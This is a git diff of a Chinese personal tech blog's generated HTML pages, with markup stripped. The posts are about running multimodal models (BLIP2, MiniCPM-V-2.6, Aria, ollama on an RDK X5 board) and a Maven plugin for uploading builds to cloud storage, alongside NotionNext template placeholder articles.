本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。

安装

 

测试代码

notion image

总结

  • 其实效果一般,可能我用的float16
  • 最主要就是安装decode
  • decode的cmake有点麻烦
  • 最后执行的时候,下载模型要卡很久,这里看网速就知道其实正在下载

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通Iphone Mirroring圆了我AI打DNF手游的梦
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240810-minicpm2.6.html b/article/240810-minicpm2.6.html index 98f3d8c08..72e532a34 100644 --- a/article/240810-minicpm2.6.html +++ b/article/240810-minicpm2.6.html @@ -1,11 +1,11 @@ -Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通 | Both Savage

Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通

type
status
date
slug
summary
tags
category
icon
password
 

契机

2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。

环境

  • macos版本:版本15.0 Beta版(24A5279h) || 版本15.1 Beta版(24B5009l)
  • 芯片:m1 pro
  • 分支:main
  • python版本:3.9

解决问题

notion image
 
 
 
完整代码如下
 

效果展示

图片理解

Sampling解码
notion image
 
Beam Search解码
notion image
 

视频理解

Sampling解码
notion image
Beam Search解码
notion image

系统占用

notion image

总结

  • 解决flash_attn强制依赖问题
  • 解决bfloat16在mps无法使用问题
  • 看系统占用是没走mps,添加的环境变量也可以看出
  • Sampling瞎回答,Beam Search回答很惊喜
  • Beam Search处理视频4秒,在m1pro下,当前代码中需要230s左右
  • ollama部署还在研究中…

写到最后

notion image
+Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通 | Both Savage

Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通

type
status
date
slug
summary
tags
category
icon
password
 

契机

2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。

环境

  • macos版本:版本15.0 Beta版(24A5279h) || 版本15.1 Beta版(24B5009l)
  • 芯片:m1 pro
  • 分支:main
  • python版本:3.9

解决问题

notion image
 
 
 
完整代码如下
 

效果展示

图片理解

Sampling解码
notion image
 
Beam Search解码
notion image
 

视频理解

Sampling解码
notion image
Beam Search解码
notion image

系统占用

notion image

总结

  • 解决flash_attn强制依赖问题
  • 解决bfloat16在mps无法使用问题
  • 看系统占用是没走mps,添加的环境变量也可以看出
  • Sampling瞎回答,Beam Search回答很惊喜
  • Beam Search处理视频4秒,在m1pro下,当前代码中需要230s左右
  • ollama部署还在研究中…

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
开发Maven插件:实现打包后上传tos云服务LAVIS在Mac,M1PRO芯片下的安装实战
\ No newline at end of file +
\ No newline at end of file diff --git a/article/241110-tos-plugin.html b/article/241110-tos-plugin.html index 167c5edc6..d7eaa2c83 100644 --- a/article/241110-tos-plugin.html +++ b/article/241110-tos-plugin.html @@ -1,11 +1,11 @@ -开发Maven插件:实现打包后上传tos云服务 | Both Savage

开发Maven插件:实现打包后上传tos云服务

type
status
date
slug
summary
tags
category
icon
password
 

契机

当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD

代码实现

直接在idea新建maven项目这里不多赘述

引入依赖

上传tos代码

删除临时文件

项目引入

上述插件项目打包后,引入业务项目pom中

使用

notion image
notion image

总结

  • 因为bucket是公共读,所以直接发版完成需要删除文件
  • bucket应该做权限认证访问,我偷懒没做,不要使用业务bucket问题不大
  • 如果协同开发,plugin的插件仓库不配置无法拉取

写到最后

notion image
+开发Maven插件:实现打包后上传tos云服务 | Both Savage

开发Maven插件:实现打包后上传tos云服务

type
status
date
slug
summary
tags
category
icon
password
 

契机

当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD

代码实现

直接在idea新建maven项目这里不多赘述

引入依赖

上传tos代码

删除临时文件

项目引入

上述插件项目打包后,引入业务项目pom中

使用

notion image
notion image

总结

  • 因为bucket是公共读,所以直接发版完成需要删除文件
  • bucket应该做权限认证访问,我偷懒没做,不要使用业务bucket问题不大
  • 如果协同开发,plugin的插件仓库不配置无法拉取

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
多模态视频大模型Aria在Docker部署Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通
\ No newline at end of file +
\ No newline at end of file diff --git a/article/241205-aria.html b/article/241205-aria.html index 9665f3cd2..5699f4611 100644 --- a/article/241205-aria.html +++ b/article/241205-aria.html @@ -1,11 +1,11 @@ -多模态视频大模型Aria在Docker部署 | Both Savage

多模态视频大模型Aria在Docker部署

type
status
date
slug
summary
tags
category
icon
password
 

契机

闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。

项目简介

线上demo尝试

notion image
线上demo响应很快,并且描述得很详细,并且可以描述什么时间发生了啥,介绍里面说的是:Cutting a long video by scene transitions with timestamps.(通过带有时间戳的场景过渡来剪切长视频。),这不是自动剪分镜吗,我有一个好想法先写完这篇再说

环境

docker环境

宿主机cuda是12.4以上的可以忽略,宿主机可以随便升降级cuda的也可以忽略要不然会出现以下异常:ImportError: /usr/local/lib/python3.10/dist-packages/torch/lib/../../nvidia/cusparse/lib/libcusparse.so.12: undefined symbol: __nvJitLinkComplete_12_4, version libnvJitLink.so.12

Conda环境

代码环境

下载模型

本来测试代码可以自动下载,我喜欢放在指定目录,所以搞了个脚本下载

图片测试

代码

结果

notion image

视频测试

代码

  • 我是分析/home/下面的所有视频,你要分析单个改改就行
  • max_image_size可改成490
  • num_frames你根据自己视频来选,我的5秒视频,分析20fps,相当于一秒4fps

结果

notion image

总结

  • aria显存占用还可以,60g左右,好像默认使用的是attn_implementation="flash_attention_2"
  • 对比qwen和cpm来说,可以做到:通过带有时间戳的场景过渡来剪切长视频
  • core dumped调整下import就行

写到最后

notion image
+多模态视频大模型Aria在Docker部署 | Both Savage

多模态视频大模型Aria在Docker部署

type
status
date
slug
summary
tags
category
icon
password
 

契机

闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。

项目简介

线上demo尝试

notion image
线上demo响应很快,并且描述得很详细,并且可以描述什么时间发生了啥,介绍里面说的是:Cutting a long video by scene transitions with timestamps.(通过带有时间戳的场景过渡来剪切长视频。),这不是自动剪分镜吗,我有一个好想法先写完这篇再说

环境

docker环境

宿主机cuda是12.4以上的可以忽略,宿主机可以随便升降级cuda的也可以忽略要不然会出现以下异常:ImportError: /usr/local/lib/python3.10/dist-packages/torch/lib/../../nvidia/cusparse/lib/libcusparse.so.12: undefined symbol: __nvJitLinkComplete_12_4, version libnvJitLink.so.12

Conda环境

代码环境

下载模型

本来测试代码可以自动下载,我喜欢放在指定目录,所以搞了个脚本下载

图片测试

代码

结果

notion image

视频测试

代码

  • 我是分析/home/下面的所有视频,你要分析单个改改就行
  • max_image_size可改成490
  • num_frames你根据自己视频来选,我的5秒视频,分析20fps,相当于一秒4fps

结果

notion image

总结

  • aria显存占用还可以,60g左右,好像默认使用的是attn_implementation="flash_attention_2"
  • 对比qwen和cpm来说,可以做到:通过带有时间戳的场景过渡来剪切长视频
  • core dumped调整下import就行

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
将进酒开发Maven插件:实现打包后上传tos云服务
\ No newline at end of file +
\ No newline at end of file diff --git a/article/241206-rdk.html b/article/241206-rdk.html new file mode 100644 index 000000000..c239bacd1 --- /dev/null +++ b/article/241206-rdk.html @@ -0,0 +1,14 @@ +地瓜RDK X5上手ollama大模型测试 | Both Savage

地瓜RDK X5上手ollama大模型测试

type
status
date
slug
summary
tags
category
icon
password
 

契机

上次逛ollama的时候发现有很多小参数的大模型,比如qwen2:0.5b,llama3.2:1b,甚至还有一个1.8b的多模态模型moondream,找公司1拿到一块RDK X5的开发板,官网查看算力可达10TOPS,不懂这个算力是啥级别,也没做过iot平台的开发,但看系统是ubuntu,那问题不大,直接装ollama来跑,调研下个版本的智能硬件。

硬件烧录

  • 准备至少8GB容量的Micro SD卡
  • SD 读卡器
  • 下载镜像烧录工具balenaEtcher,https://etcher.balena.io/#download-etcher
  • 烧录进sd卡
  • 然后ttl链接电脑,使用终端工具进入命令行,或者你直接使用hdmi连上键盘鼠标才做ui

进入系统

设置wifi

设置vnc +

notion image
notion image
 
macos可以使用《屏幕共享》直接链接
notion image
notion image

测试ollama

安装

测试结果

qwen2:0.5b
notion image
llama3.2:1b
notion image
moondream:latest
notion image
 
图片识别一直在转圈圈,运行不了,应该是现在没有使用BPU加速的原因,我也看不懂,应该ratio是0就是没走BPU吧
 

总结

  • 没啥难度
  • BPU到底是啥,算力到底是啥,不清楚这些定义
  • 在linux服务器上部署大模型的时候可以直接调用to_cuda,直接在gpu加载模型,看了下文档,BPU好像更麻烦一点

写到最后

notion image
+ 是在往前走就好 + bothsavage.github.io +
 
notion image
 
将进酒多模态视频大模型Aria在Docker部署
\ No newline at end of file diff --git a/article/begin.html b/article/begin.html index c8a0ba925..ada24f3e3 100644 --- a/article/begin.html +++ b/article/begin.html @@ -1,4 +1,4 @@ -将进酒 | Both Savage

将进酒

type
status
date
slug
summary
tags
category
icon
password

李白〔唐代〕
君不见黄河之水天上来,奔流到海不复回。 +将进酒 | Both Savage

将进酒

type
status
date
slug
summary
tags
category
icon
password

李白〔唐代〕
君不见黄河之水天上来,奔流到海不复回。 君不见高堂明镜悲白发,朝如青丝暮成雪。 人生得意须尽欢,莫使金樽空对月。 天生我材必有用,千金散尽还复来。 @@ -9,11 +9,11 @@ 古来圣贤皆寂寞,惟有饮者留其名。 陈王昔时宴平乐,斗酒十千恣欢谑。 主人何为言少钱,径须沽取对君酌。 -五花马、千金裘,呼儿将出换美酒,与尔同销万古愁。
 
示例文章多模态视频大模型Aria在Docker部署
\ No newline at end of file +
\ No newline at end of file diff --git a/article/example-10.html b/article/example-10.html index df16dc36a..1db76be93 100644 --- a/article/example-10.html +++ b/article/example-10.html @@ -1,9 +1,9 @@ -空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范 | Both Savage

空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: -一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章多模态视频大模型Aria在Docker部署

空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: +一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章地瓜RDK X5上手ollama大模型测试
\ No newline at end of file +
\ No newline at end of file diff --git a/article/example-2.html b/article/example-2.html index b464f882e..cf6ad2036 100644 --- a/article/example-2.html +++ b/article/example-2.html @@ -1,8 +1,8 @@ -加锁文章2 - 密码123456 | Both Savage
Please Enter the password:
 Submit
Please Enter the password:
 Submit
\ No newline at end of file +
\ No newline at end of file diff --git a/article/example-3.html b/article/example-3.html index 947d885c9..1b1eff0d0 100644 --- a/article/example-3.html +++ b/article/example-3.html @@ -1,9 +1,9 @@ -EMPTY-ARTICLE-3 | Both Savage

EMPTY-ARTICLE-3

type
status
date
slug
summary
tags
category
icon
password
 
😀
这里写文章的前言: -一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章多模态视频大模型Aria在Docker部署

EMPTY-ARTICLE-3

type
status
date
slug
summary
tags
category
icon
password
 
😀
这里写文章的前言: +一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章地瓜RDK X5上手ollama大模型测试
\ No newline at end of file +
\ No newline at end of file diff --git a/article/example-4.html b/article/example-4.html index 639f854f3..908614042 100644 --- a/article/example-4.html +++ b/article/example-4.html @@ -1,9 +1,9 @@ -绑定成功测试-4 | Both Savage

绑定成功测试-4

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: -一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章多模态视频大模型Aria在Docker部署

绑定成功测试-4

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: +一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章地瓜RDK X5上手ollama大模型测试
\ No newline at end of file +
\ No newline at end of file diff --git a/article/example-5.html b/article/example-5.html index 7c04993bf..ea33b3829 100644 --- a/article/example-5.html +++ b/article/example-5.html @@ -1,9 +1,9 @@ -空白文章5 | Both Savage

空白文章5

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: -一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章多模态视频大模型Aria在Docker部署

空白文章5

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: +一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章地瓜RDK X5上手ollama大模型测试
\ No newline at end of file +
\ No newline at end of file diff --git a/article/example-6.html b/article/example-6.html index e74ab5f56..209b031fd 100644 --- a/article/example-6.html +++ b/article/example-6.html @@ -1,9 +1,9 @@ -空白文章6 | Both Savage

空白文章6

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: -一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章多模态视频大模型Aria在Docker部署

空白文章6

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: +一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章地瓜RDK X5上手ollama大模型测试
\ No newline at end of file +
\ No newline at end of file diff --git a/article/example-7.html b/article/example-7.html index 480ac1b3b..59a2c5879 100644 --- a/article/example-7.html +++ b/article/example-7.html @@ -4,12 +4,12 @@ 这里写文章的前言: 一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"/>

空白文章7

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: -一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章多模态视频大模型Aria在Docker部署

空白文章7

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: +一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章地瓜RDK X5上手ollama大模型测试
\ No newline at end of file +
\ No newline at end of file diff --git a/article/example-8.html b/article/example-8.html index f5d441041..caaa10c2e 100644 --- a/article/example-8.html +++ b/article/example-8.html @@ -1,9 +1,9 @@ -空白文章8 | Both Savage

空白文章8

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: -一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章多模态视频大模型Aria在Docker部署

空白文章8

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: +一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章地瓜RDK X5上手ollama大模型测试
\ No newline at end of file +
\ No newline at end of file diff --git a/article/example-9.html b/article/example-9.html index 7a534ef1c..c5be000db 100644 --- a/article/example-9.html +++ b/article/example-9.html @@ -1,9 +1,9 @@ -空白文章9 | Both Savage

空白文章9

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: -一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章多模态视频大模型Aria在Docker部署

空白文章9

type
status
date
slug
summary
tags
category
icon
password
😀
这里写文章的前言: +一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。
可以说说你的故事:阻碍、努力、结果成果,意外与转折。
 

📝 主旨内容

观点1

引用的话语

观点2

引用的话语

🤗 总结归纳

总结文章的内容

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
示例文章地瓜RDK X5上手ollama大模型测试
\ No newline at end of file +
\ No newline at end of file diff --git a/article/example.html b/article/example.html index 207540b68..60794c232 100644 --- a/article/example.html +++ b/article/example.html @@ -1,4 +1,4 @@ -示例文章 | Both Savage

示例文章

type
status
date
slug
summary
tags
category
icon
password

基本段落

书中自有黄金屋,书中自有颜如玉
💡
生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。

将进酒

李白〔唐代〕参考[1]
君不见黄河之水天上来,奔流到海不复回。 +示例文章 | Both Savage

示例文章

type
status
date
slug
summary
tags
category
icon
password

基本段落

书中自有黄金屋,书中自有颜如玉
💡
生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。

将进酒

李白〔唐代〕参考[1]
君不见黄河之水天上来,奔流到海不复回。 君不见高堂明镜悲白发,朝如青丝暮成雪。 人生得意须尽欢,莫使金樽空对月。 天生我材必有用,千金散尽还复来。 @@ -9,11 +9,11 @@ 古来圣贤皆寂寞,惟有饮者留其名。 陈王昔时宴平乐,斗酒十千恣欢谑。 主人何为言少钱,径须沽取对君酌。 -五花马、千金裘,呼儿将出换美酒,与尔同销万古愁。

特殊段落

1.代码

其他更多语言

2.公式

  • 数学公式
    • 化学方程
    其他更多公式
     

    3. 图表

    4. PDF嵌入

    5.下载附件

    6. 照片集

    notion image
    照片集

    7. 内嵌网页

    5.代办

    家庭
    洗衣
    做饭
    事业
    开会
    加班

    6.折叠列表

    点击展开
    点击展开
    点击展开
    内容可以多级嵌套

     

    8. 同步块

    Notion支持将不同页面的块进行同步,即 SyncBlock,以下是来自另一个页面的块:
    【sync-block】这是一段来自示例文章-3的段落 ,通过 SyncBlock同步。
    💡
    注意 : 同步块的使用条件是源页面也要被开放共享 ,否则NotionNext将无权访问,页面上会被忽略渲染。
    notion image
     

    多级目录

    heading标题在博客中自动转为目录

    二级目录1

    二级内容 1

    二级目录2

    二级内容2

    二级目录3

    三级目录3.1

    不同级别的heading代表不同级别的目录

    三级目录3.2

    高一级目录嵌套低一级目录

    多级列表

    • 事物的必然性
    1. 事物按规律变化,也有一种不可避免的性质.这种性质就叫做必然性
      1. 事物的必然性,是事物本身的性质(我们反对宿命论的是其认为这一切是受神明的支配,而不是反对事物发展中存在的不可避免的性质的事实)
        1. 第三级别列表
        2. 第三级别列表
      2. 其决定于它自己本身发展的情况和周围的条件
        1. 第三级别列表
          1. 第三级别列表

    模板使用说明

    若要部署你的NotionNext项目,请复制该模板,并按照模板格式创建文章:
    Notion页面中,每篇文章都将有以下属性🤔:
    属性
    必填
    说明
    备注
    title
    文章标题
    status
    发布状态
    (仅当状态为Published 时会被 展示)
    type
    页面类型 (博文Post / 单页(Page)
    单页不会在博文列表显示 。
    summary
    内容摘要
    搜索和简略显示会用到
    date
    发布日期
    在V3.3.9之前的版本此项为必填。
    category
    文章分类
    可以自定义
    tags
    文章标签
    可多个,建议不要太多
    slug
    文章短路径
    (每篇文章唯一,请勿 重复)
    icon
    菜单栏图标(仅当Page类型有效)
    可以参考:图标库地址
    password
    文章加锁
    需要输入密码才允许访问

    评论插件

    系统支持 Waline\Giscus\Valine\GitTalk\Utterance\Cusdis\Twikoo六种评论插件,并且可以同时开启,点击评论区的Tab来体验。
    按照以下教程可以开启响应的评论插件
    NotionNext配置评论插件Twikoo | TANGLY's BLOG
    一个简洁、安全、免费的静态网站评论系统,基于 腾讯云开发 。 经评论区网友推荐,我开始使用 Twikoo,一番体验,发现Twikoo真的很强大,目前我决定用它作为主要评论插件。 twikoo支持在页面上直接管理评论、配置插件,非常强大 在最新版本中 NotionNext已经 支持该评论插件,配置 方法很简单: 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_ENV_ID ; 值为您部署好的 twikoo 后台地址。以我的举例: 借助vercel,您可以非常快速地部署自己的twikoo后台,用于储存评论数据。 twikoo的后台数据存储是基于MongoDB数据库的,我们可以先注册创建一个免费的在线MongoDB数据库。 创建MongoDB数据库 1.注册账号 创建数据库 这里下方要设置一个允许访问该数据库的IP地址,推荐设置0.0.0.0,即所有地址都允许访问,毕竟我也不知道自己会用什么ip访问这个数据库。 2.获取数据库连接地址 Vercel一键部署 点击Create将twikoo的代码拷入您的仓库 配置MongoDB数据库地址 添加一个配置 MONGODB_URI 环境变量即可,其值为上一步获得的MongoDB连接地址,注意将链接中MONGODB的密码 替换成您设置的。 上述部署完成后,您将获得一个vercel的twikoo后台页面,您可以选择像我一样映射成二级域名 将您的twikoo后台地址配置在NotionNext的后台,并redeploy即可。 到此完成~ 点击右下角的小齿轮即可配置您的管理员密码、并进行更多的功能设置。赶快体验吧~ 可以访问官方文档获取安装部署帮助,并且查看Twikoo的更多特性。 NotionNext支持多种评论插件,可访问以下文章获得帮助:
    NotionNext配置评论插件Twikoo | TANGLY's BLOG
    NotionNext如何添加评论插件 | TANGLY's BLOG
    NotionNext支持多种评论插件,其中体验比较好的我个人觉得是Twikoo,您可以参考以下教程进行配置安装: 您也可以选择Valine/Waline,关于Valine/Waline的部署可以访问此篇文章: Utterance 、 Giscus 、Gitalk 其中部署最便捷的当属 Cusdis 和 Utterance 这两个插件。您可以任选一个部署,当然,您也可以选择同时部署多个。 完成效果预览 点击Start for free ,并用Github登录即可 Sign in With Github (点击查看截图) [可选] 配置邮件通知地址,以便收到新评论时邮件通知您,(点击展开截图) 点击Embed Code获取您的应用ID,即data-app-id, 复制这串id备用。 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_CUSDIS_APP_ID,值为上面获取到的data-app-id。 完成预览效果 在您的Github中创建一个开源项目用于存放评论 在github中安装utterance插件 允许utterance访问所有仓库,并勾选install,可以只勾选作为评论用的仓库地址。 将用作评论仓库名添加到Vercel添加环境变量 后台 settings→ environment variables → 添加 → save 即可。如下图: 注意, 仓库名的格式是 [您的用户名/您的仓库名] 如下示例 完成预览效果 在您的Github中创建一个开源项目用于存放评论 创建一个授权秘钥,并保存您的ClientID与ClientSecret Authorization callback URL 填写您网站域名 填写配置的效果 ,点击 register application 即可创建。 点击 Generate a new client secret 生成您的密码 复制 Client ID和刚生成的 Client secret (对应图中2和3)备用。 在Vercel后台配置环境变量 NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET 项目会在您的Github项目讨论区创建评论数据,便于维护管理 , 完成效果 预览 您可以在Github的Discusstion讨论区随时管理评论。 在您的Github中创建一个开源项目用于存放评论 在项目Setting中开启discussion功能 在Github中安装giscus应用 点击右上方的Install即可,并确认 允许访问仓库数据权限: 默认勾选All repositories即可。也可以只勾选用作评论的仓库,(后续还可以再回来配置) 访问Giscus填写并获取您的Giscus配置参数 主要配置输入您的仓库名,并选择 Discussion分类为 Announcements .
    NotionNext如何添加评论插件 | TANGLY's BLOG
     

    引用文献

    1. 关于李白

    引用另一篇文章→
    📖
    模板说明
    Notion文章自动同步GitPage将进酒
    \ No newline at end of file +
    \ No newline at end of file diff --git a/article/guide.html b/article/guide.html index e8a4899c2..b7bc8a845 100644 --- a/article/guide.html +++ b/article/guide.html @@ -1,8 +1,8 @@ -模板说明 | Both Savage

    模板说明

    type
    status
    date
    slug
    summary
    tags
    category
    icon
    password

    如何使用Notion编写文章

    请访问教程获取帮助

    模板使用说明

    NotionNext项目必须绑定一个Notion数据库才能使用。请访问教程获取帮助

    Notion模板字段说明

    Notion数据库中,每条数据都将有以下属性🤔:
    属性
    必填
    说明
    备注
    title
    文章标题
    status
    发布状态
    (仅当状态为Published 时会被 展示)
    type
    页面类型 (博文Post / 单页(Page)
    单页不会在博文列表显示 。
    summary
    内容摘要
    搜索和简略显示会用到
    date
    发布日期
    在V3.3.9之前的版本此项为必填。
    category
    文章分类
    可以自定义
    tags
    文章标签
    可多个,建议不要太多
    slug
    文章短路径
    (每篇文章唯一,请勿 重复)
    icon
    菜单栏图标(仅当Page/Menu类型有效)
    可以参考:图标库地址
